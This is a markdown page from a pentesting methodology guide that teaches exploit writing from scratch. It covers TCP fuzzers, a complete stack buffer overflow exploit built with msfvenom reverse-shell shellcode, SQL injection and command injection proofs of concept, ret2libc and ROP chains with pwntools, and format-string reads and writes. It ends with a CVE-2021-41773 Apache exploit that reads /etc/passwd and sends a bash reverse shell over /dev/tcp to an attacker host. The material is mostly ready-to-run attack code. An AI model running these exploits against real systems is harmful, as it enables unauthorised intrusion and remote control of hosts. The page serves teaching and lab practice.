Skip to content

Latest commit

 

History

History
1144 lines (901 loc) · 36.2 KB

File metadata and controls

1144 lines (901 loc) · 36.2 KB

Writing Exploits — Building From Scratch

Modifying a public exploit requires understanding what you are changing. Writing one from scratch requires understanding everything. This is the section that separates people who can use tools from people who understand what the tools are doing. You will not write a novel exploit on your first attempt. But you will understand what every line of an exploit does — and that understanding is what makes everything else in this guide click into place.


🔰 Beginners: This section is advanced. Read the buffer overflow, manual exploitation, and modifying exploits sections first. Come back here when those concepts are solid. Writing exploits from scratch requires a foundation — this section builds on everything that came before it.

Seasoned practitioners: The ROP chain construction and format string sections contain practical implementation details. Jump to the section most relevant to your current target.


Before you start — know these terms:

  • Proof of Concept (PoC) — a minimal working exploit that demonstrates a vulnerability is exploitable. Not polished, not reliable — just proves the point. This is the first goal when writing an exploit from scratch.
  • Fuzzer — a program that sends malformed, unexpected, or random input to a target to find crashes. The first step in finding new buffer overflow vulnerabilities.
  • Crash analysis — examining what happens after a crash to determine whether it is exploitable and how.
  • ROP chain — Return Oriented Programming chain. A sequence of existing code snippets (gadgets) chained together to achieve code execution when the stack is non-executable.
  • Format string vulnerability — a vulnerability where user input is passed directly as the format string to functions like printf(). Can read from and write to arbitrary memory locations.

📋 Contents


🎯 Why Write Exploits From Scratch

Plain English:

Most practitioners never write a full exploit from scratch. They use public exploits, modify them when needed, and move on. That is completely valid for most scenarios.

But there are situations where no public exploit exists:

A CVE is published with no public PoC
→ The vulnerability is documented but nobody released working code
→ You need to understand the vulnerability deeply enough to write it

A public exploit exists but is too different from your target
→ Modification is not enough — you need to write a new one
→ Understanding exploit writing makes modification much easier

You are doing legitimate vulnerability research
→ You found a new vulnerability yourself
→ Writing the PoC is how you demonstrate it is exploitable

OSCP and advanced certifications require it
→ Manual exploitation without public exploits is tested
→ Exploit development understanding is assessed

Beyond the practical reasons — understanding exploit development makes you significantly better at everything else. When you have written a buffer overflow exploit from scratch, modifying one is trivial. When you understand ROP chains, bypassing DEP in a Metasploit module makes sense. The depth compounds.


🗺️ The Exploit Development Process

Step 1 → Fuzz — send malformed input until crash occurs
Step 2 → Analyze — is the crash exploitable? What crashed?
Step 3 → PoC — minimal code that reproduces the crash reliably
Step 4 → Control — gain control of the instruction pointer
Step 5 → Return address — find where to redirect execution
Step 6 → Payload — add shellcode, get code execution
Step 7 → Reliability — make it work consistently
Step 8 → Cleanup — handle edge cases, add error handling

Each step produces something testable. Never skip to step 6 — if step 4 is not reliable, step 6 will never work.


🔍 Step 1 — Fuzzing to Find the Crash

Plain English: Fuzzing means sending a target increasingly large or malformed inputs and watching for crashes. A crash indicates the application is not handling the input correctly — which may mean the input is reaching memory it should not.

Generic Network Fuzzer

#!/usr/bin/env python3
"""
Generic TCP fuzzer — sends increasingly large buffers
Target: any TCP service
Usage: python3 fuzzer.py TARGET_IP TARGET_PORT
"""

import socket
import sys
import time

# ── Configuration ────────────────────────────────────────
ip = sys.argv[1] if len(sys.argv) > 1 else "TARGET-IP"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 9999

# Starting size and increment
start_size = 100
increment = 100
timeout = 5

# ── Protocol Setup ────────────────────────────────────────
# Some services require a specific initial exchange
# before the vulnerable input
# Modify these to match your target protocol:

def send_buffer(ip, port, buffer):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((ip, port))

        # Read banner if service sends one on connect
        banner = s.recv(1024)
        print(f"[*] Banner: {banner[:50]}")

        # Send the fuzz buffer
        # Modify this to match the protocol
        # Example for a custom service:
        s.send(buffer + b"\r\n")

        # Example for FTP:
        # s.send(b"USER " + buffer + b"\r\n")

        # Example for HTTP:
        # s.send(b"GET /" + buffer + b" HTTP/1.0\r\n\r\n")

        s.recv(1024)
        s.close()
        return True

    except Exception as e:
        print(f"\n[!] Crash detected at {len(buffer)} bytes")
        print(f"[!] Error: {e}")
        return False

# ── Fuzzing Loop ─────────────────────────────────────────
print(f"[*] Fuzzing {ip}:{port}")
print(f"[*] Starting at {start_size} bytes, incrementing by {increment}")

size = start_size
while True:
    buffer = b"A" * size
    print(f"[*] Sending {size} bytes...", end=" ", flush=True)

    if not send_buffer(ip, port, buffer):
        print(f"\n[+] Approximate crash size: {size} bytes")
        break

    print("OK")
    size += increment
    time.sleep(0.5)    # small delay between attempts

Protocol-Specific Fuzzer

#!/usr/bin/env python3
"""
Fuzzer for services with multi-step protocols
Modify the protocol steps to match your target
"""

import socket
import sys

ip = "TARGET-IP"
port = 110    # example: POP3

def fuzz_pop3(size):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        s.recv(1024)    # receive banner

        s.send(b"USER test\r\n")
        s.recv(1024)

        # Fuzz the PASS command
        payload = b"PASS " + b"A" * size + b"\r\n"
        s.send(payload)

        s.recv(1024)
        s.close()
        return True
    except:
        return False

size = 100
while True:
    print(f"Sending {size} bytes...")
    if not fuzz_pop3(size):
        print(f"Crashed at {size} bytes")
        break
    size += 100

🔬 Step 2 — Crash Analysis

Once you have a crash, determine whether it is exploitable:

Questions to answer:

1. What register is overwritten?
   → EIP overwritten → likely exploitable (classic buffer overflow)
   → EAX, ECX, EDX overwritten → may be exploitable
   → No registers overwritten → may just be a denial of service

2. What value is in EIP?
   → 0x41414141 (AAAA) → you control EIP → exploitable
   → A partial value like 0x00414141 → null byte truncation
   → Random value → crash is not EIP overwrite

3. Is the crash reproducible?
   → Run the same input multiple times
   → Does it crash in the same place?
   → A reproducible crash at the same address = exploitable

4. What is at ESP?
   → Right-click ESP in Immunity → Follow in Dump
   → Do you see your A's? → You control the stack → good
   → How much space is available? → Must fit shellcode

5. Are there memory protections?
   → In Immunity: !mona modules
   → Look for: Rebase, SafeSEH, ASLR, NXCompat, OS DLL
   → All False → easier exploitation
   → Mixed → identify modules without protections

🏗️ Step 3 — Building the Proof of Concept

A PoC is the minimum code needed to reproduce the crash reliably. Clean, commented, easy to modify.

#!/usr/bin/env python3
"""
Proof of Concept — SERVICE NAME Buffer Overflow
CVE: (if known)
Tested on: SERVICE VERSION, TARGET OS
Author: SudoChef

Vulnerability: Stack-based buffer overflow in the SERVICE
               command. Sending more than APPROX_SIZE bytes
               crashes the service and overwrites EIP.

Status: Crash confirmed, EIP control NOT yet achieved
"""

import socket
import struct

# ── Target ────────────────────────────────────────────────
ip = "TARGET-IP"
port = 9999

# ── Exploit Parameters ────────────────────────────────────
# Approximate crash size from fuzzing
crash_size = 2700

# Padding — fills the buffer
padding = b"A" * crash_size

# ── Build Payload ─────────────────────────────────────────
payload = padding

# ── Deliver ──────────────────────────────────────────────
print(f"[*] Sending {len(payload)} bytes to {ip}:{port}")

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.recv(1024)
    s.send(payload + b"\r\n")
    s.close()
    print("[+] Payload sent")
except Exception as e:
    print(f"[-] Error: {e}")

🎮 Step 4 — Controlling Execution

Replace the crash-causing buffer with a cyclic pattern to find the exact offset to EIP.

#!/usr/bin/env python3
"""
Offset finder — replace crash buffer with cyclic pattern
"""

import socket

ip = "TARGET-IP"
port = 9999

# Generate cyclic pattern:
# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
# OR: python3 -c "from pwn import *; print(cyclic(3000).decode())"
# Paste output below:

pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9..."
# Paste your complete pattern here

print(f"[*] Sending {len(pattern)} byte cyclic pattern")

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.recv(1024)
    s.send(pattern + b"\r\n")
    s.close()
    print("[+] Pattern sent — check EIP in debugger")
    print("[*] Then run: pattern_offset.rb -l 3000 -q EIP_VALUE")
except Exception as e:
    print(f"[-] Error: {e}")

After finding the offset — verify EIP control:

#!/usr/bin/env python3
"""
EIP control verification
"""

import socket
import struct

ip = "TARGET-IP"
port = 9999

# YOUR CALCULATED OFFSET
offset = 2606

padding = b"A" * offset
eip = b"B" * 4       # should appear as 42424242 in EIP
rest = b"C" * 200    # should appear at and after ESP

payload = padding + eip + rest

print(f"[*] Verifying EIP control at offset {offset}")
print(f"[*] EIP should show: 42424242")

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.recv(1024)
    s.send(payload + b"\r\n")
    s.close()
    print("[+] Sent — check EIP in debugger")
except Exception as e:
    print(f"[-] Error: {e}")

📍 Step 5 — Finding the Return Address

Find a JMP ESP instruction in a module without ASLR/SafeSEH.

# In Immunity Debugger with Mona
!mona modules
# Look for modules with all protections False

# Find JMP ESP in a safe module
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# -cpb = characters to avoid (your bad characters)

# Output shows addresses like:
# 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll]

# Verify the address manually
# In Immunity: Ctrl+G → enter address → should show JMP ESP
# Add the return address to your exploit
import struct

# Address from Mona — packed little-endian for x86
# 0x625011af → \xaf\x11\x50\x62
eip = struct.pack("<I", 0x625011af)

# For 64-bit targets — use struct.pack("<Q", address)
# rip = struct.pack("<Q", 0x0000555555400621)

💉 Step 6 — Adding the Payload

The complete exploit with shellcode:

#!/usr/bin/env python3
"""
Complete buffer overflow exploit
SERVICE NAME — Stack-Based Buffer Overflow
CVE: (if known)
Tested on: VERSION, OS

Usage:
  1. Start listener: rlwrap nc -lvnp 4444
  2. Run: python3 exploit.py TARGET-IP YOUR-IP
"""

import socket
import struct
import sys

# ── Configuration ─────────────────────────────────────────
ip = sys.argv[1] if len(sys.argv) > 1 else "TARGET-IP"
lhost = sys.argv[2] if len(sys.argv) > 2 else "YOUR-IP"
lport = 4444
port = 9999

# ── Exploit Parameters ────────────────────────────────────
offset = 2606
bad_chars = "\x00\x0a\x0d"    # used when generating shellcode

# JMP ESP address — no bad chars, no ASLR
# Found with: !mona jmp -r esp -cpb "\x00\x0a\x0d"
eip = struct.pack("<I", 0x625011af)

# NOP sled — gives shellcode room to land
nop_sled = b"\x90" * 16

# Shellcode — generated with:
# msfvenom -p windows/shell_reverse_tcp LHOST=YOUR-IP LPORT=4444
# -b "\x00\x0a\x0d" -f python -v shellcode
shellcode = b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x58\x2b"
# ... paste your complete shellcode here

# ── Build Payload ─────────────────────────────────────────
padding = b"A" * offset
payload = padding + eip + nop_sled + shellcode

# ── Deliver ──────────────────────────────────────────────
print(f"[*] Target: {ip}:{port}")
print(f"[*] Callback: {lhost}:{lport}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Offset: {offset}")
print(f"[*] EIP: {hex(struct.unpack('<I', eip)[0])}")
print(f"[*] Sending...")

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.recv(1024)
    s.send(payload + b"\r\n")
    s.close()
    print("[+] Payload delivered — check your listener")
except Exception as e:
    print(f"[-] Failed: {e}")

🌐 Writing a Basic Web Exploit

Web exploits are often simpler to write than binary exploits — they use HTTP requests rather than raw sockets and binary packing.

SQL Injection PoC

#!/usr/bin/env python3
"""
SQL Injection PoC — extract database version
Target: web application with SQLi in id parameter
Usage: python3 sqli_poc.py TARGET-URL
"""

import requests
import sys

url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/page"

# ── Test for Injection ────────────────────────────────────
print("[*] Testing for SQL injection...")

# Boolean test — does page behave differently?
true_payload = {"id": "1 AND 1=1-- -"}
false_payload = {"id": "1 AND 1=2-- -"}

true_response = requests.get(url, params=true_payload)
false_response = requests.get(url, params=false_payload)

if len(true_response.text) != len(false_response.text):
    print("[+] SQL injection confirmed (boolean-based)")
    print(f"[*] True response: {len(true_response.text)} bytes")
    print(f"[*] False response: {len(false_response.text)} bytes")
else:
    print("[-] Boolean test inconclusive — trying error-based")

# ── Error-Based Extraction ────────────────────────────────
print("\n[*] Attempting error-based extraction...")

error_payload = {"id": "1' AND extractvalue(1,concat(0x7e,version()))-- -"}
error_response = requests.get(url, params=error_payload)

if "XPATH" in error_response.text or "extractvalue" in error_response.text.lower():
    print("[+] Error-based injection works")
    # Parse version from error message
    import re
    match = re.search(r'~([^<"]+)', error_response.text)
    if match:
        print(f"[+] Database version: {match.group(1)}")

# ── UNION-Based Extraction ────────────────────────────────
print("\n[*] Finding column count for UNION injection...")

for cols in range(1, 10):
    nulls = ",".join(["NULL"] * cols)
    union_payload = {"id": f"0 UNION SELECT {nulls}-- -"}
    response = requests.get(url, params=union_payload)

    if response.status_code == 200 and "error" not in response.text.lower():
        print(f"[+] Column count: {cols}")

        # Now extract data
        data_payload = {"id": f"0 UNION SELECT @@version,{','.join(['NULL'] * (cols-1))}-- -"}
        data_response = requests.get(url, params=data_payload)
        print(f"[*] Response: {data_response.text[:200]}")
        break

Command Injection PoC

#!/usr/bin/env python3
"""
Command Injection PoC
Tests for command injection and demonstrates impact
"""

import requests
import sys

url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/ping"
lhost = sys.argv[2] if len(sys.argv) > 2 else "YOUR-IP"

# ── Test Characters ───────────────────────────────────────
test_chars = [";", "&&", "||", "|", "`", "$("]

print("[*] Testing command injection characters...")

for char in test_chars:
    payload = {"host": f"127.0.0.1{char}id"}
    try:
        response = requests.post(url, data=payload, timeout=5)
        if "uid=" in response.text:
            print(f"[+] Command injection via {char!r}")
            print(f"[+] Output: {response.text[:100]}")
            break
    except:
        pass

# ── Blind Test via Ping ───────────────────────────────────
print(f"\n[*] Testing blind injection — watch tcpdump on {lhost}")
print(f"[*] Run: tcpdump -i tun0 icmp")

blind_payload = {"host": f"127.0.0.1; ping -c 1 {lhost}"}
try:
    response = requests.post(url, data=blind_payload, timeout=10)
    print("[*] Request sent — check tcpdump for incoming ping")
except:
    print("[-] Request timed out — may indicate blind injection with delay")

📚 Writing a Basic Fuzzer

A proper fuzzer for unknown protocols:

#!/usr/bin/env python3
"""
Structured fuzzer for unknown protocols
Tests multiple fields and input types
"""

import socket
import time
import string
import random

ip = "TARGET-IP"
port = 9999

# Fuzz strings to try
FUZZ_STRINGS = [
    b"A" * 100,
    b"A" * 500,
    b"A" * 1000,
    b"A" * 5000,
    b"A" * 10000,
    b"%s" * 100,          # format string
    b"%n" * 100,          # format string write
    b"../../../etc/passwd",   # path traversal
    b"' OR '1'='1",       # SQL injection
    b"<script>alert(1)</script>",  # XSS
    b"\x00" * 100,        # null bytes
    b"\xff" * 100,        # high bytes
    b"a" * 260 + b"\x41\x41\x41\x41",  # pattern
]

def send_and_check(ip, port, payload, label=""):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((ip, port))
        s.recv(1024)
        s.send(payload)
        response = s.recv(1024)
        s.close()
        print(f"[OK] {label} ({len(payload)} bytes) → {response[:30]}")
        return True
    except Exception as e:
        print(f"[CRASH] {label} ({len(payload)} bytes) → {e}")
        return False

print(f"[*] Fuzzing {ip}:{port}")

for i, fuzz in enumerate(FUZZ_STRINGS):
    result = send_and_check(ip, port, fuzz, f"payload_{i}")
    if not result:
        print(f"[!] Crash on payload {i} — investigate")
    time.sleep(0.5)

🔗 Introduction to ROP Chains

Plain English: Return Oriented Programming is how you bypass DEP/NX — the protection that marks the stack as non-executable. Instead of putting your shellcode on the stack and jumping to it, you chain together small snippets of existing executable code called gadgets.

Each gadget ends with a ret instruction. When ret executes, it pops the next address off the stack and jumps there. By carefully arranging addresses on the stack, you control which gadgets run in which order. The chain of gadgets does what your shellcode would have done — without executing anything from the stack.

Finding Gadgets

# ROPgadget — find ROP gadgets in binaries
pip3 install ropgadget

# Find all gadgets in a binary
ROPgadget --binary vulnerable_binary

# Find specific gadgets
ROPgadget --binary vulnerable_binary --rop
ROPgadget --binary vulnerable_binary | grep "pop eax"
ROPgadget --binary vulnerable_binary | grep "ret"

# Find gadgets in a library
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 | grep "pop eax ; ret"

# ropper — alternative gadget finder
pip3 install ropper
ropper -f vulnerable_binary
ropper -f vulnerable_binary --search "pop eax"

# pwntools ROP automation
from pwn import *
elf = ELF('./vulnerable_binary')
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh\x00'))])
print(rop.dump())

Simple ret2libc Chain

Plain English: ret2libc is the simplest form of ROP — instead of chaining gadgets to build shellcode behavior, you call a function that already exists in libc (the C standard library). system("/bin/sh") is all you need. The chain puts the address of /bin/sh as the argument and calls system().

#!/usr/bin/env python3
"""
ret2libc exploit — call system("/bin/sh")
For 32-bit Linux targets without ASLR
"""

from pwn import *

# Load the binary and libc
elf = ELF('./vulnerable_binary')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# Start the process
p = process('./vulnerable_binary')

# Find addresses needed
system_addr = libc.symbols['system']
exit_addr = libc.symbols['exit']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))

print(f"[*] system() at: {hex(system_addr)}")
print(f"[*] exit() at: {hex(exit_addr)}")
print(f"[*] /bin/sh at: {hex(bin_sh_addr)}")

# Build the payload
# Stack layout for 32-bit ret2libc:
# [padding][system_addr][exit_addr][bin_sh_addr]
offset = 112    # calculate with cyclic pattern

payload = flat(
    b"A" * offset,        # padding to EIP
    system_addr,          # call system()
    exit_addr,            # return address for system (clean exit)
    bin_sh_addr           # argument to system = "/bin/sh"
)

# Send payload
p.sendline(payload)
p.interactive()    # drop into the shell

ROP Chain with pwntools

#!/usr/bin/env python3
"""
Automated ROP chain construction with pwntools
"""

from pwn import *

elf = ELF('./vulnerable_binary')
rop = ROP(elf)

# pwntools finds gadgets automatically
# Build a chain to call system("/bin/sh")

# Find /bin/sh in the binary or libc
bin_sh = next(elf.search(b'/bin/sh\x00'))

# Build the ROP chain
rop.system(bin_sh)

print(rop.dump())    # shows the chain structure
print(f"[*] Chain: {rop.chain()}")

# Use in exploit:
offset = 112
payload = b"A" * offset + rop.chain()

🖨️ Format String Vulnerabilities

Plain English: Format string vulnerabilities occur when user input is passed directly as the format argument to functions like printf(). These functions use special format codes (%s, %d, %x, %n) to format output. If the attacker controls the format string, they can use these codes to read from and write to arbitrary memory.

// Vulnerable code:
printf(user_input);    // ← user controls the format string

// Safe code:
printf("%s", user_input);    // ← format string is fixed

Detecting Format String Vulnerabilities

# Try sending format specifiers as input
# If the output contains memory addresses or values — vulnerable

# Useful format specifiers:
%x    → reads 4 bytes from stack, displays as hex
%p    → reads pointer from stack
%s    → reads string from address on stack
%n    → WRITES the number of bytes written so far to an address
%d    → reads integer

# Test input:
%x.%x.%x.%x.%x.%x.%x.%x
# If output shows hex values → format string vulnerability confirmed

# Example vulnerable output:
# Input:  AAAA%x.%x.%x.%x
# Output: AAAAbffff5e0.bffff5f4.41414141.b7e8e000
#
#                     0x41414141 = AAAA — we see our input on the stack

Reading Memory

# Find at which position your input appears on the stack
# Send AAAA followed by %x's:

# AAAA%1$x    → read position 1 from stack
# AAAA%2$x    → read position 2
# AAAA%3$x    → read position 3
# When 41414141 appears — that is your position

# Then read arbitrary addresses:
# Construct: [ADDRESS][%POSITION$s]
# This reads the string at ADDRESS

# Example — read from address 0x0804a020:
payload = b"\x20\xa0\x04\x08" + b"%7$s"
# If position 7 is where your input appears on stack

Writing Memory — %n

# %n writes the NUMBER OF CHARACTERS PRINTED SO FAR to an address
# This is how format string vulnerabilities achieve arbitrary write

# To write value 100 to address 0x0804a020:
# 1. Print 100 characters
# 2. Use %n to write 100 to the target address

# Simple write:
payload = b"\x20\xa0\x04\x08"    # target address
payload += b"A" * 96              # 96 chars + 4 from address = 100
payload += b"%7$n"                # write 100 to address at position 7

# For writing large values — use %hn (write 2 bytes) and %hhn (write 1 byte)
# Split the write into smaller chunks for larger addresses

🛠️ Tools for Exploit Development

pwntools — The Exploit Development Library

# Install
pip3 install pwntools

# Kali Linux
sudo apt install python3-pwntools

# macOS
pip3 install pwntools

# Windows — use WSL2 with Kali
# pwntools has limited Windows support — Linux strongly preferred
# pwntools essentials for exploit development
from pwn import *

# ── Connecting ──────────────────────────────────────────
p = process('./binary')          # local process
p = remote('TARGET-IP', 9999)   # remote connection

# ── Sending and Receiving ────────────────────────────────
p.send(b"data")          # send bytes (no newline)
p.sendline(b"data")      # send bytes with newline
p.recv(1024)             # receive up to 1024 bytes
p.recvuntil(b"prompt:")  # receive until pattern
p.recvline()             # receive one line
p.interactive()          # drop to interactive shell

# ── Packing and Unpacking ────────────────────────────────
p32(0x41414141)          # pack as 32-bit little-endian
p64(0x4141414141414141)  # pack as 64-bit little-endian
u32(b"\x41\x41\x41\x41")  # unpack 32-bit
u64(b"\x41" * 8)          # unpack 64-bit

# ── Cyclic Patterns ──────────────────────────────────────
cyclic(200)              # generate 200-byte cyclic pattern
cyclic_find(0x61616161)  # find offset from pattern value

# ── ELF Analysis ────────────────────────────────────────
elf = ELF('./binary')
elf.symbols['main']          # address of main function
elf.got['puts']              # GOT entry for puts
elf.plt['puts']              # PLT entry for puts
next(elf.search(b'/bin/sh')) # find /bin/sh string

# ── ROP ─────────────────────────────────────────────────
rop = ROP(elf)
rop.call('system', [bin_sh_addr])
rop.chain()              # bytes of the complete chain

GDB with PEDA/pwndbg

# Install PEDA (Python Exploit Development Assistance)
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

# Install pwndbg (more modern alternative)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# GDB essential commands for exploit development
gdb ./binary               # start gdb

# In GDB:
run                        # run the program
run < input.txt            # run with input from file
run $(python3 -c "print('A'*200)")  # run with generated input

# When crash occurs:
info registers             # show all registers
x/20wx $esp                # examine 20 words at ESP
x/40wx $eip                # examine 40 words at EIP
pattern create 200         # create cyclic pattern (PEDA)
pattern search             # find offset after crash (PEDA)
checksec                   # show security protections

# Breakpoints
break main                 # break at function
break *0x08048456          # break at address
continue                   # continue execution
next                       # next instruction (step over)
step                       # step into function

Immunity Debugger with Mona (Windows)

# Immunity Debugger — Windows only
# Download: immunityinc.com/products/debugger/

# Install Mona plugin:
# Download mona.py from: github.com/corelan/mona
# Copy to Immunity Debugger PyCommands folder

# Essential Mona commands (run in Immunity command bar):
!mona config -set workingfolder C:\mona\%p   # set output folder
!mona modules                                 # show module protections
!mona pattern_create 3000                     # create cyclic pattern
!mona pattern_offset -q EIP_VALUE            # find offset
!mona jmp -r esp                              # find JMP ESP
!mona jmp -r esp -cpb "\x00\x0a\x0d"        # find JMP ESP, avoiding bad chars
!mona find -s "\xff\xe4" -m MODULE           # find bytes in module
!mona bytearray -b "\x00\x0a\x0d"           # generate byte array for bad char test
!mona compare -f C:\mona\PROG\bytearray.bin -a ESP  # compare to find bad chars
!mona rop -m MODULE -cpb "\x00\x0a\x0d"     # find ROP gadgets

💥 Real Worked Examples

Example 1 — Writing a Buffer Overflow Exploit From Scratch

Target: Custom vulnerable server running on port 9999 with no public exploit. You found it crashes when sending more than 2500 bytes.

# Step 1 — Build the fuzzer
# (use generic fuzzer template above)
# Run it — crashes at 2700 bytes

# Step 2 — Generate cyclic pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

# Step 3 — Send pattern, note EIP in Immunity Debugger
# EIP = 356f4134

# Step 4 — Find offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 356f4134
# Output: Exact match at offset 2606

# Step 5 — Verify EIP control
# Send: A * 2606 + BBBB + CCCC * 200
# Confirm: EIP = 42424242, ESP points to C's

# Step 6 — Find bad characters
# Send all bytes, check memory dump, find \x00\x0a\x0d are bad

# Step 7 — Find JMP ESP
# !mona jmp -r esp -cpb "\x00\x0a\x0d"
# Found: 0x625011af in essfunc.dll (no protections)

# Step 8 — Generate shellcode
msfvenom -p windows/shell_reverse_tcp \
  LHOST=YOUR-IP LPORT=4444 \
  -b "\x00\x0a\x0d" \
  -f python -v shellcode

# Step 9 — Build complete exploit
# Use the complete exploit template above
# Fill in: offset=2606, eip=0x625011af, shellcode=generated output

# Step 10 — Start listener and fire
rlwrap nc -lvnp 4444
python3 exploit.py TARGET-IP YOUR-IP

Example 2 — Writing a Web Exploit for a Known CVE

Target: CVE-2021-41773 — Apache 2.4.49 path traversal and RCE

#!/usr/bin/env python3
"""
CVE-2021-41773 — Apache 2.4.49 Path Traversal / RCE
Written from CVE description without public exploit

Vulnerability: Apache 2.4.49 fails to properly normalize paths
               allowing path traversal outside the document root.
               When mod_cgi is enabled, this leads to RCE.

Affected: Apache 2.4.49 only
Fixed in: Apache 2.4.50
"""

import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://target.com"
lhost = sys.argv[2] if len(sys.argv) > 2 else "YOUR-IP"
lport = sys.argv[3] if len(sys.argv) > 3 else "4444"

# ── Path Traversal ────────────────────────────────────────
print("[*] Testing path traversal (CVE-2021-41773)...")

traversal_url = f"{target}/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
response = requests.get(traversal_url)

if "root:" in response.text:
    print("[+] Path traversal confirmed")
    print(f"[*] /etc/passwd snippet: {response.text[:100]}")
else:
    print("[-] Path traversal failed — target may not be 2.4.49")
    print(f"[*] Status: {response.status_code}")
    sys.exit(1)

# ── RCE via mod_cgi ───────────────────────────────────────
print("\n[*] Testing RCE via mod_cgi...")

rce_url = f"{target}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = "echo Content-Type: text/plain; echo; id"

response = requests.post(rce_url, headers=headers, data=data)

if "uid=" in response.text:
    print("[+] RCE confirmed via mod_cgi")
    print(f"[*] Command output: {response.text.strip()}")
else:
    print("[-] mod_cgi RCE failed — mod_cgi may not be enabled")

# ── Reverse Shell ─────────────────────────────────────────
print(f"\n[*] Sending reverse shell to {lhost}:{lport}")
print("[*] Start your listener: rlwrap nc -lvnp " + lport)
input("[*] Press Enter when listener is ready...")

shell_data = f"echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
requests.post(rce_url, headers=headers, data=shell_data)

Practice targets:

  • HackTheBox — Brainfuck (custom exploit required)
  • HackTheBox — October (Linux BoF from scratch)
  • VulnHub — Brainpan (Windows BoF full development)
  • TryHackMe — Buffer Overflow Prep (guided BoF development)
  • PortSwigger — Web exploit development through labs

⚔️ CTF vs Real World

CTF Real Engagement
Writing needed Occasionally Rarely — usually modify existing
Time pressure Competition clock Engagement window
Documentation Notes Full exploit development log
Reliability One-shot is fine Must be reliable and repeatable
Architecture Usually specified Must determine
Protections Often disabled Usually enabled — bypasses needed
Fuzzing Usually skip — version known May need to find the crash yourself
ROP chains Advanced boxes only Required for modern targets
Code quality Functional is enough Clean, documented, reproducible
Disclosure Write a public writeup Responsible disclosure process

🔗 Related References

Resource What It Covers
Modifying Exploits Adapting existing exploits first
Manual Exploitation Overview Running exploits before writing them
Buffer Overflow The vulnerability class in depth
Shells What the exploit delivers
Evasion Making your exploit undetected
Practice Platforms Where to test your exploits

by SudoChef · Part of the SudoCode Pentesting Methodology Guide